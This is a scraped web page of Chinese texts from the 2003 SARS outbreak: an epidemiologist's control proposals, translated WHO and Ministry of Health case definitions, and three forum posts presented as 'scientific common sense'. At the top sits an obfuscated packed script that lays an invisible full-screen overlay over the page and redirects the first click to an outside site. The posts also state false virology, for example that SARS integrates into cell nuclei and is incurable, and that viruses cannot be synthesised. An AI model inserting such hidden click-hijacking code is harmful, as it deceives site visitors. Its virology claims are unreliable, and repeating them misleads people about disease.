<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>本人在美国加拿大从事现场流行病学工作十多年，和数位同道交流后觉得目前中国现在已经开始高度重视SARS了，但似乎在技术上可以做的更好。国家有难，匹夫有责。斗胆提出以下建议，希望能起到抛砖引玉的作用，大家一起，为国家出点主意，帮助控制SARS。如果认为对的话，能送到决策者手中，不胜感谢。
我以为要从根本上控制SARS，必须把重点放在控制疾病的蔓延上面。控制疾病的蔓延一是隔离和治疗SARS病人， 二是阻止疾病向无病大城市和中小城市传播。
中国目前在控制SARS上作了许多工作，但有两个关键的问题至少在报道上没有见到。 一是SARS的定义。中国的疾病定义与世界卫生组织的定义不同。美国的定义原来也与世界卫生组织不同，4月20日完全采用了世界卫生组织的定义。搞科学的人都知道，定义不一致，下一步是谈不通的。所以，现在关于中国报给世界卫生组织的数字报多报少，有没有隐瞒，都是无关的。我认为，中国应该马上采用世界卫生组织的定义。一是可以减少误解，便於交流。更重要的是减少临床诊断的困难。(附：我翻译的世界卫生组织定义和中国定义)
第二， 根据中国的国情， 我认为阻止疾病蔓延现在是燃眉之急。其他已做的继续做。 北京有的大学已经控制进校园流动人口。这很好，大学人口是高危人群。但方法不对。据报道，进校现在要查证件。 证件不能告诉疾病情况。准确的方法是量体温。耳朵测体温，一分钟时间都要不了。体温高就应进一步隔离观察。
自４月２１日起，所有国内航班旅客，在办理登机手续前，必须认真如实填写《健康申报表》。 这很好，但不够。一是没有标准，谁不咳嗽？跑步后有几人不气促？关键是体温。个人对体温的感觉差异很大。即方便又科学的方法就是量体温。香港台湾早就作了，不知为什么中国大陆没有做。不仅做飞机要量体温，所有的交通要道都要这是阻止疾病向无病大城市和中小城市传播的关键。中小城市和城镇人口密度不低，卫生习惯，卫生条件，医疗设备，防疫人员的准备情况都比大城市更利于疾病传播，一旦发生，后果不可设想，代价将相当高。现在已经有了发生的苗头( 昨天(4/19)，从小舅妈那知道了山东省淄博市齐鲁石化公司第一例sars患者得病情 况。小舅妈和此人一个单位。这个人的父亲在北京住院，他陪床，一日发病，在北京某医院确诊为sars， 医院对他说：“交一万元押金，我们给你治病。”他不愿意交。医院没有进行隔 离。就坐著火车回家了。回家后正直半夜，没敢回家，在学校的办公室里熬了一夜，第二天，到齐鲁 石化中心医院，对大夫说：“我在北京确诊就是那个病，非典。”当时大夫吓得 脸都黄了！之后隔离在医院某层，结果全层病号跑掉。)。现在必须采取紧急时期的紧急措施， 进行主动监测(Active Surveillance)和严格隔离。
具体的关键措施是从现在开始，要在所有已有病例的城市对所有离开的人在所有交通要道(飞机，火车，汽车，轮船等)进行体温检查。高于摄氏38度一律隔离观察10天。隔离观察的可集中一处，每人相隔1米，不准互相接触。在开始隔离时即取咽喉和血液标本,询问接触史。在观察期间一发病，马上分离治疗并询问详细流行病学接触史，追踪发现隔离观察所有与病人接触过的人。要做到这一点，必须铁面无私，任何人不管多重要，一有体温升高，必须隔离十天。鉴于国情，要做到这一点，建议动用军队和医学院学生。军队和医学院学生在执行任务之前必须接受训练，给予白蛋白和抗病毒药物预防并配备隔离衣和N95或外科口罩的相应保护措施。军队负责秩序，医学生测体温等。如果严格做到，在一月之内，疫情完全可以控制。在此期间收集的标本，是进行流行病学研究的极宝贵资料，是中国对人类的特有贡献。是国外做不到的。另外，鼓励所有接触过的人都将每天的吃住行等所有活动都记下来，不管有没有病，吃没有吃预防性中西药，越详细越好。这些资料对研究疾病的自然过程非常宝贵。 目前资源分配的重点应在这上面，而不是在诊断手段/工具和治疗药物的研究上。救火第一。雪中送炭，然后才是锦上添花。在短期内，中国即使动用所有可用的资源，也不可能与世界卫生组织的诊断，治疗和研究竞争。而且也完全没有这个必要。我认为中国在诊断手段/工具和治疗药物的研究方面应该是国际队伍的一部分，而不是独立于WHO之外。而对国内疫情的控制则必须自力更生，外界为辅。
世界卫生组织(WHO)监测严重急性呼吸综合征（Severe Acute Respiratory Syndrome，SARS)的病例定义
目的：通过描述SARS的流行病学特征和监视该病的影响和传播情况来为该病的预防和控制提供指导性意见。
SARS病例定义(2003年4月1日修订)
由於对SARS了解迅速演变的性质，全球监测SARS的疾病定义是有局限性的。 该定义基於目前对SARS临床特征的了解和现有的流行病学资料。随着新的知识的积累，该定义将会修改。对SARS的初步临床描述总结了目前掌握的SARS临床特征知识。各国也许需要根据本国疾病现状来适当采用该SARS病例定义。世界卫生组织不期望根据该定义进行回顾性疾病监测。
可疑病例(Suspect case)
1。 2002年11月1日后(注一)有以下病史者：。高烧(高于摄氏38度) 并有。咳嗽或呼吸困难并有。在症状出现前十天有下列一种或多种暴露史： 曾密切接触(注二)过可疑或可能SARS病例， 曾到过受影响地区(注三)，住在受影响地区(注三)。2。 在2002年11月1日后(注一)因不能解释的急性呼吸道疾病死亡但没有进行尸 体解剖者并在症状出现前十天有下列一种或多种暴露史： 曾密切接触(注二)过可疑或可能SARS病例， 曾到过受影响地区(注三)，住在受影响地区(注三)。
可能病例(Probable case)
1. 可疑病例的X光胸片有与肺炎或呼吸窘迫症一致的浸润证据。2。 可疑病例的尸体解剖发现与呼吸窘迫症的病理一致但没有可确认的原因。
排除SARS病例的标准:如果有能够完全解释疾病的其他诊断，就不应该归类为SARS病例。
SARS病例需重新分类的情况: 因为目前对SARS的诊断是排除性诊断，已报告的SARS病例随时可能改变其所属类别。不过， 无论病人属於那类病例，都应根据临床情况合理处理。 以下是应考虑重新分类的六种情况：
(1) 原为SARS可疑病例或SARS可能病例， 一有能够完全解释疾病的其他诊断， 就不应继续归类为SARS病例。(2) 可疑病例经调查后能满足可能病例的标准应重新分类归于“可能病例”。(3) 可疑病例如果胸片正常应给予适当治疗并密切监视七天。如果恢复不理想， 应再做胸片重新评价。(4) 可疑病例恢复良好，但没有能够完全解释疾病的其他诊断，应继续归类为 “可疑病例”。(5) 可疑病例已死亡，没有进行尸体解剖，应继续归类为“可疑病例”。但是， 如果可以确认该病例为SARS传播链的一个环节， 就应重新归类为“可能 病例”。(6) 如果尸体解剖没有发现呼吸窘迫症的病理证据，该病例就不应继续归类为 SARS病例。
注一。 全球监测期从2002年11月1日开始是为了能包括中国发生的现已确认 为SARS的非典型性肺炎。WHO2003年2月才接到SARS全球传播的第 一份报告，报告2003年2月出现的一批病例。注二。 密切接触：曾经照顾过可疑或可能病例， 曾经与可疑或可能病例生 活在一起，曾经直接接触过可疑或可能病例的呼吸道分泌物或其他 体液。注三。 受影响地区：国家公共卫生当局报告正在出现局部(地方)SARS传播 链的地区。 (译者：据WHO 4/21/2003公布，受影响地区有加拿大多 伦多，新加坡， 中国：北京，广东， 香港， 内蒙古，山西，台湾， 美国，英国伦敦，越南河内)
卫生部关于印发《传染性非典型肺炎临床诊断标准（试行）》的通知
2003-04-14 13:25:22 传染性非典型肺炎为一种目前病因尚不明确、传染性强的呼吸系统疾病，目前在国内部分地区有病例发生。世界卫生组织（WHO）将传染性非典型肺炎称为严重急性呼吸综合征（Severe Acute Respiratory Syndrome，SARS）。
1、流行病学史
1.1). 与发病者有密切接触史，或属受传染的群体发病者之一，或有明确传染他人的证据；
1.2). 发病前2周内曾到过或居住于报告有传染性非典型肺炎病人并出现继发感染病人的城市。
2、症状与体征
起病急，以发热为首发症状，体温一般＞38℃，偶有畏寒；可伴有头痛、关节酸痛、肌肉酸痛、乏力、腹泻；常无上呼吸道卡他症状；可有咳嗽，多为干咳、少痰，偶有血丝痰；可有胸闷，严重者出现呼吸加速，气促，或明显呼吸窘迫。肺部体征不明显，部分病人可闻少许湿罗音，或有肺实变体征。
3、实验室检查
外周血白细胞计数一般不升高，或降低；常有淋巴细胞计数减少。
4、胸部X线检查
肺部有不同程度的片状、斑片状浸润性阴影或呈网状改变，部分病人进展迅速，呈大片状阴影；常为双侧改变，阴影吸收消散较慢。肺部阴影与症状体征可不一致。若检查结果阴性，1-2天后应予复查。
5、抗菌药物治疗无明显效果。
疑似诊断标准：符合上述1+2+3条或2+3+4条。
临床诊断标准：符合上述1.1+2+4条及以上，或1.2+2+3+4或1.2+2+4+5条。
鉴别诊断：临床上要注意排除上感、流感、细菌性或真菌性肺炎、艾滋病合并肺部感染、军团病、肺结核、流行性出血热、肺部肿瘤、非感染性间质性疾病、肺水肿、肺不张、肺栓塞、肺嗜酸性粒细胞浸润症、肺血管炎等临床表现类似的呼吸系统疾患。
关于“非典”的一些科学常识
科学常识1: SARS有严重的后遗症，1年内不可能有解药
注意：本文并不是转贴，而是作者本人特别咨询了美国从事制药研究的专家得到的意见。 相信比那些假新闻成堆的**TV、CNN、BBC等媒体更为真实。我本来希望了解美国近期有没 有可能造出特效药，结果非常令人失望。SARS是极为危险的RNA病毒，目前人类并没有根治 RNA病毒的方法，了解病理学和微生物学的同学都知道这个常识。所以千万不要以为SARS只 有5%的死亡率就掉以轻心，这种病毒的后遗症是相当严重的，绝对不可能忽视预防工作。
SARS可以导致肺部纤维化，整个肺部变得象木头一样没有弹性，病人不能自主呼吸而死亡 。但是人类的存活力很强，即使切掉一个肺还可以继续活下去，所以有的身强力壮的病人 ，可以勉强抗住SARS病毒。只要肺部还有一点点功能，他们就可以存活下来。但是这种存 活是短暂的，因为他们的肺部已经纤维化，之所以幸存只不过是抵抗能力好一点而已，一 旦到了40岁或者50岁，抵抗能力一弱，他们就很容易因为肺部硬化而死亡。
美国军方正在研究这个SARS病毒，最近美国军方已经公开宣称：一年之内不可能有治疗SA RS的方法。原因是SARS是一个RNA病毒，和艾滋病病毒一样容易变异，即便能够短期造出抵 抗某种SARS病毒的抗体，也会因为病毒的变异而使抗体丧失作用。目前发现的SARS病毒已 经达到20多种。美国制药业是全世界最发达的，连美国都不能在一年之内解决这个SARS病 毒，中国更不用说了。现在市面上吹嘘的“特效药”，全部都是安慰剂，没有任何疗效。 所以一旦感染了SARS，只能听天由命了。
中国值得反思的地方很多：
1、滥用抗生素。美国使用抗生素非常谨慎，不到逼不得已绝对 不用。而中国的乡村医生，经常喜欢采用抗生素治疗。结果是：培养了很多抗药性的细菌 ，降低了国民的抵抗力；
2、滥吃山珍海味。美国环保很好，美国国民把野生动物当成朋友 ，吃野生动物简直是一种罪过。而中国广东省乱吃乱杀野生动物，为病毒从动物身上传播 到人的身上创造了温床。地方政府的疏失在于没有引导食文化，也缺乏铁腕手段整治捕杀 野生动物的行为；
3、言论不自由。政府的错误如果被及时指出，政府如果愿意用开明的态 度对待批评，那么政府的信用就会得到保障。言论不自由，虽然可以得到短期的稳定，代 价却是政府的诚信。如果以后政府说“我们的银行很安全”，有多少人会相信呢？我已经 建议所有亲戚：一旦外资银行和保险企业进入中国，必须尽快把所有存款和保险转移到他 们那里。这不是不爱国，而是用实际行动来给麻木的官僚体系施加一点压力，让中国变得 更好。
这次SARS事件，令中国辛辛苦苦在东南亚金融危机当中建立起来的光辉形象荡然无存。全 世界都认为中国是cheater，为了几个派系官员，牺牲了整个国家利益，代价真是太惨重了 。
科学常识2: SARS病毒不可能是美台的生物武器
最近有一篇网上流传的文章，说是俄罗斯科学院院士认为SARS病毒是美国和台湾的生物武 器，意图对中国不利。这篇没有证实的文章在网上流传，显然是大家都倾向于相信所谓“ 俄罗斯专家”的说法，其实这都是缺乏科学常识的表现。
我针对制造SARS病毒的问题咨询了在美国从事研究的学者，得到以下回答，可以和大家分 享：
1、人类至今为止没有能力制造出病毒。病毒实际上是一小段很小的蛋白质片断，但是拥有 生命的一些特征，不过严格意义上并不是生命。艾滋病病毒也是非常脆弱的，但是它的破 坏性极强。人类可以通过人工合成出生命物质，早在60、70年代，中国的科学家就通过人 工合成得到了生命物质。但是人类到现在为止都没有办法通过人工合成制造出生命，即使 人类能够人工合成出一种和病毒一模一样的RNA，但是这种物质没有活性，没有生命的特征 。目前唯一可以制造出病毒的方法是复制而不是合成。也就是说，人类至今都不能给自己 制造出来的物质赋予生命，生命是通过传承得到的。很多美国科学家信仰上帝，就是认为 人类永远都不可能制造生命，因为制造生命的只可能是上帝。
2、既然病毒不能凭空产生，所以要制造生物武器。首先要从已经认识的病毒开始，通过复 制它们的RNA培养下一代，然后通过筛选得到毒性强、感染性高的病毒。经过一代又一代的 筛选和复制，才可以得到满意的病毒。
3、病毒也可以通过移植一小段基因进行改造，但是必须记住这是极为危险的行为。因为人 类对生命的理解非常少，你不知道移植进去的基因会造出什么东西来。如果不慎把这种改 造过的病毒放到大自然里面，可能引发生物灾难。从这个意义上说，完全违背了制造生物 武器的初衷。因为生物武器应该达到害人不害己的目的，但是一旦引发生物灾难，这种事 情就是害人又害己的了。所以不论从道德上还是从科学上，都不宜使用基因工程来改造病 毒。从经济上而言，改造工程是极为昂贵的，因为科学家对造出来的是什么都完全不知道 ，可能的结果是进行了千万次实验都得不到效果满意的病毒。这种浪费金钱的做法，不可 能得到美国政府和美国纳税人的同意。
4、目前所有的生物武器使用的病毒，都是人类所知道和了解的病毒。SARS病毒是一种新病 毒，应该来自大自然的病毒变异。
5、中国是一个医疗管理非常落后的国家，在中国西部大约有10%的人是乙肝病毒携带者， 在河南曾经发生过大规模的艾滋病感染事件，显然那都不是美国的生物武器带来的，而是 来自对科学的无知、政府的低效和体制的缺陷。美国在最近10年以来耗费巨资提升公共卫 生水准，而中国在公共卫生的投资为ZERO，直至现在，中国人看病还要自己掏钱。一个容 易被忽略的事实是：美国在教育和公共卫生上的投资超过了美国在军事上的投资，这可以 解释美国为什么有这么少的感染者和这么高的治愈率，这和“生物武器”毫无关系。台湾 实际上是一个脱离中国而存在的“孤岛”，当前台湾政府也在限制和中国大陆的交流，大 言论自由，不会有官员愚蠢到把展现自己政绩的机会掩盖起来；民众也不会对政府有如此 强烈的不信任感。
6、俄罗斯曾经在50年代鼓励中国进入朝鲜援助金家王朝，两个愚蠢的政府在朝鲜半岛打了 一场毫无意义、没有结果的战争。最后的输家是美国和中国，赢家只有一个，那就是俄罗 斯。所以即使真的是俄罗斯的专家说出那种话，我们也不应该怀疑他的智商，而应当怀疑 他是不是俄罗斯的克格勃。
科学常识3：SARS根本没有根治的“特效药”
这是我发表的第三篇科学常识，有兴趣的读者可以看看前两篇：
1、SARS有严重后遗症，1年内不可能有解药 2、SARS不可能是美台的生物武器 使用版内查询作者“southseaboy”即可。
科学常识：SARS根本没有根治的“特效药”
最近有报道说中国军方已经研制出治疗SARS的“特效药”，并获得国家奖励云云。对此我 咨询了美国方面的医学专家，得到以下结论，愿意和大家共享。希望各位不要以为有“特 效药”就掉以轻心，而是要以非常严肃认真的态度来预防病毒感染，因为预防才是唯一“ 根治”的方法。
1、SARS病毒是一种RNA病毒，人类到目前为止还没有治疗RNA病毒的方法，艾滋病也是一种 RNA病毒，人类连抗体都找不到，因为艾滋病病毒是直接攻击免疫系统的。
2、SARS病毒致病的机理：所有的病毒都是非常脆弱的个体，在自然条件之下非常容易死亡 ，但是一旦进入人体，就可能造成破坏性的后果。所有病毒致病机理都非常类似，那就是 通过进入宿主的遗传物质，然后不断复制自己，某个特定时刻把自身的遗传物质表达出来 ，就可以置宿主死地。人类的细胞每天都在自我复制，病毒是一段很小的RNA片断，它进入 人体内以后首先把自己植入人体的细胞核当中，这样一来人体细胞自我复制的时候就复制 出受到感染的细胞。比如我们复印文件的时候，如果不小心把文件折了一条折痕，复制出 来的文件就有了这个折痕。以后的文件继续根据复制版来复制，最后就找不到正确的原件 了。人体内的这种复制过程是不可逆的，一旦感染了病毒，最后某个身体器官或者全身的 细胞都会留下这个病毒的遗传信息。不过值得庆幸的是：病毒并不会立刻把自己的遗传物 质表达出来，它们通常会潜伏在人体之内很长一段时间。很多艾滋病患者、疯牛病患者或 者乙肝病人都象正常人一样活了很长的时间。问题是一旦时机适合，病毒就把自己的遗传 物质表达出来，比如指令肺部组织自我硬化；指令免疫系统停止工作或者指令肝细胞发展 成肝癌等等。遗憾的是，人类至今没有找到病毒发作的规律，否则艾滋病、乙肝、疯牛病也 可以受到控制了。
3、对待病毒不可能有根治的办法。人体一旦感染了病毒，就不可能根治了。因为从理论上 说，要想根治病毒引发的疾病，必须把所有受到感染的细胞都换成健康的细胞，而这是不 可能的。艾滋病患者或者癌症患者接受化学疗法，就是为了把受到感染的细胞全部杀死— —包括受感染细胞旁边健康的细胞。如果病人的身体比较强壮的话，杀死了一部分细胞之 后，身体还可以再造出细胞来弥补——等于死了一次又重生。但是往往这种疗法是治标不 治本的，因为即便使用化疗，可能还有一些受感染细胞没有被杀死。只要留下一个受感染 的细胞，患者以后还会旧病复发。如果人类能够有效对付病毒，那么人类就可以治疗包括 艾滋病、癌症在内的大多数疾病了。
4、其他比较有效的治疗方法是使用干扰素。干扰素的作用是对病毒的RNA表达进行干扰， 延迟病毒的RNA遗传物质进行自我表达的时间。如果干扰素能够无限期推迟病毒的表达，患 了干扰素，患者身上还是照样携带这种病毒，直到老死，只不过病毒没有进行恶意捣乱而 已。干扰素的效果是不确定的，主要原因是科学家对病毒何时表达、引发病毒进行表达的 机制并不清楚。而且患者还要常年使用干扰素，不能中断。美国对付乙肝病毒的疗法就是 使用干扰素，疗效还算不错。
5、要说根治，根本的方法是提高人体免疫力，药物全都是治标不治本的东西。如果能够研 制出来这种病毒的疫苗，也可以通过注射疫苗提高人体免疫力来控制病毒的蔓延。但是根 据美国的经验，制造这种病毒的疫苗最乐观的估计是1年，悲观一点是5年。鉴于这种病毒 就象艾滋病病毒一样，变异速度如此之快，也许永远都没有疫苗。 据(博讯)
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